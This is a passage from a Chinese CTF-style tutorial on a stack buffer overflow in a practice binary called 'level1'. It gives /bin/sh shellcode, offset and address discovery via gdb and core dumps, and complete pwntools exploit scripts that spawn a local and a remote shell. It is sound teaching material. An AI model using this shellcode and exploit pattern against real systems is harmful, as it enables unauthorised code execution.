shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

计算返回地址相对于buf的offset

紧接着上面的实验,这里还是用到 Invalid $PC address: 0x41416d41 中的的0x41416d41 这个直,复制下来使用pattern offset 0x41416d41命令行计算出ret的offset

1094806849 found at offset: 140

这样就得到了offset = 140

获取buf的内存地址

通过几次调试可以发现buf的地址是0xffffd400,这是在调试状态下的情况,栈的布局和非调试态下的情况有所差异。这里就需要使用core dump的方式来获取buf的真实地址了。

通过以下代码开启 core dump。

ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

第一句是解除dump的大小限制,第二句设置dump路径格式。

└─# ulimit -c unlimited

└─# sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
[sudo] password for dbg:

┌── dbg @ dbg-pro in ~/Desktop/rop/level1 [9:58:01]
└─# cat /proc/sys/kernel/core_pattern
/tmp/core.%t

开启root用户,删除tmp下文件,并设置了dump文件的路径和格式。

切换到用户模式关闭dump大小限制。

运行level1,并触发溢出,生成dump文件供gdb调试。

└─# gdb -q -ex init-peda "$@" ./level1 /tmp/core.1699931238.28498
Reading symbols from ./level1...
(No debugging symbols found in ./level1)
[New LWP 28498]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Core was generated by `./level1'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x37654136 in ?? ()
gdb-peda$ x /10s $esp-144
0xffffd390: "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9\n\367 \320\377\367\031\025\302\367l\326\377\377p"
0xffffd436: ""
0xffffd437: ""
0xffffd438: ""
0xffffd439: "\320\377\367\031\025\302\367\001"
0xffffd442: ""
0xffffd443: ""
0xffffd444: "\364\324\377\377\374\324\377\377`\324\377\377"
0xffffd451: "\240\342\367\nbUV\001"
0xffffd45a: ""
gdb-peda$

其中 0xffffd390 就是buf真实地址。

组合payload

得知以上这些信息后就可以组合payload了,布局如下。其中 shellcode + nop 长度是140。ret 填充buf的地址,也就是现在的shellcode位置。

| shellcode | nop | ret |

得到以下脚本。

#!python
#!/usr/bin/env python
from pwn import *

p = process('./level1')

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

ret = 0xffffd390

# p32(ret) == struct.pack("<I",ret)
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
#payload = 'A' * 150

p.send(payload)

p.interactive()

测试结果如下:

└─# python2 level1-pwn.py
[+] Starting local process './level1': pid 29024
[*] Switching to interactive mode
0xffffd3b0
[*] Got EOF while reading in interactive
$ id
[*] Process './level1' stopped with exit code -11 (SIGSEGV) (pid 29024)
[*] Got EOF while sending in interactive

可以看出错误了,看来pwn环境下和真实测到的还是不一样。

通过结合core dump一起调试。

└─# gdb -q -ex init-peda "$@" ./level1 /tmp/core.1699940766.29486
Reading symbols from ./level1...
(No debugging symbols found in ./level1)
[New LWP 29486]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Core was generated by `./level1'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xffffd390 in ?? ()
gdb-peda$ x /10s $esp-144
0xffffd3b0: "1\311\367\341Qh//shh/bin\211\343\260\v̀", 'A' <repeats 119 times>, "\220\323\377\377`\324\377\377"

可以看出pwn环境下的buf地址是 0xffffd3b0。更改pwn中的buf地址,再次测试。

└─# python2 level1-pwn.py
[+] Starting local process './level1': pid 29561
[*] Switching to interactive mode
0xffffd3b0
$ id
uid=1000(dbg) gid=1000(dbg) groups=1000(dbg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)
$

接下来我们把这个目标程序作为一个服务绑定到服务器的某个端口上,这里我们可以使用socat这个工具来完成,命令如下:

socat TCP4-LISTEN:10001,fork EXEC:./level1

随后这个程序的IO就被重定向到10001这个端口上了,并且可以使用 nc 127.0.0.1 10001来访问我们的目标程序服务了。

因为现在目标程序是跑在socat的环境中,exp脚本除了要把p = process('./level1')换成p = remote('127.0.0.1',10001) 之外,ret的地址还会发生改变。解决方法还是采用生成core dump的方案,然后用gdb调试core文件获取返回地址。然后我们就可以使用exp进行远程溢出啦!

└─# gdb -q -ex init-peda "$@" ./level1 /tmp/core.1699941329.30013
Reading symbols from ./level1...
(No debugging symbols found in ./level1)
[New LWP 30013]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Core was generated by `./level1'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xffffd3b0 in ?? ()
gdb-peda$ x /10s $esp-144
0xffffd300: "1\311\367\341Qh//shh/bin\211\343\260\v̀", 'A' <repeats 119 times>, "\260\323\377\377\260\323\377\377"
0xffffd395: "\240\342\367 \320\377\367\031\025\302\367\360\325\377\377p"
0xffffd3a6: ""
0xffffd3a7: ""
0xffffd3a8: ""
0xffffd3a9: "\320\377\367\031\025\302\367\001"
0xffffd3b2: ""
0xffffd3b3: ""
0xffffd3b4: "d\324\377\377l\324\377\377\320\323\377\377"
0xffffd3c1: "\240\342\367\nbUV\001"
gdb-peda$ q

┌── dbg @ dbg-pro in ~/Desktop/rop/level1 [12:57:04]
└─# python2 level1-pwn.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
$ id
uid=1000(dbg) gid=1000(dbg) groups=1000(dbg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)
$ whoami
dbg
$

pwn代码:

#!python
#!/usr/bin/env python
from pwn import *

#p = process('./level1')
p = remote('127.0.0.1',10001)

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

#ret = 0xffffd3b0
ret = 0xffffd300

# p32(ret) == struct.pack("<I",ret)
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
#payload = 'A' * 150

p.send(payload)

p.interactive()

这里参考了郑敏老师的《一步一步学ROP之linux_x86篇》,这是来自乌云的drop,现在乌云都关了,可以参考看雪论坛的https://zhuanlan.kanxue.com/article-13320.htm

工具安装分别参考了:

《Linux平台下的CTF Pwn环境搭建》https://www.v4ler1an.com/2020/12/pwn/

《【Pwn环境配置】kali安装python2,python3,pip2,pip3及pwntools》https://blog.csdn.net/weixin_62621015/article/details/130156312

看雪ID:zhenwo

https://bbs.kanxue.com/user-home-396123.htm

*本文为看雪论坛优秀文章,由 zhenwo 原创,转载请注明来自看雪社区

# 往期推荐

1、区块链智能合约逆向-合约创建-调用执行流程分析

2、在Windows平台使用VS2022的MSVC编译LLVM16

3、神挡杀神——揭开世界第一手游保护nProtect的神秘面纱

4、为什么在ASLR机制下DLL文件在不同进程中加载的基址相同

5、2022QWB final RDP

6、华为杯研究生国赛 adv_lua

球分享

球点赞

球在看


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458534867&idx=1&sn=5db657c358b29738f8a13638e53659ca&chksm=b18d735986fafa4f040bcb347128d7396f15019f1da269a75d84fe61eee65dc1b3b9814822b2&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh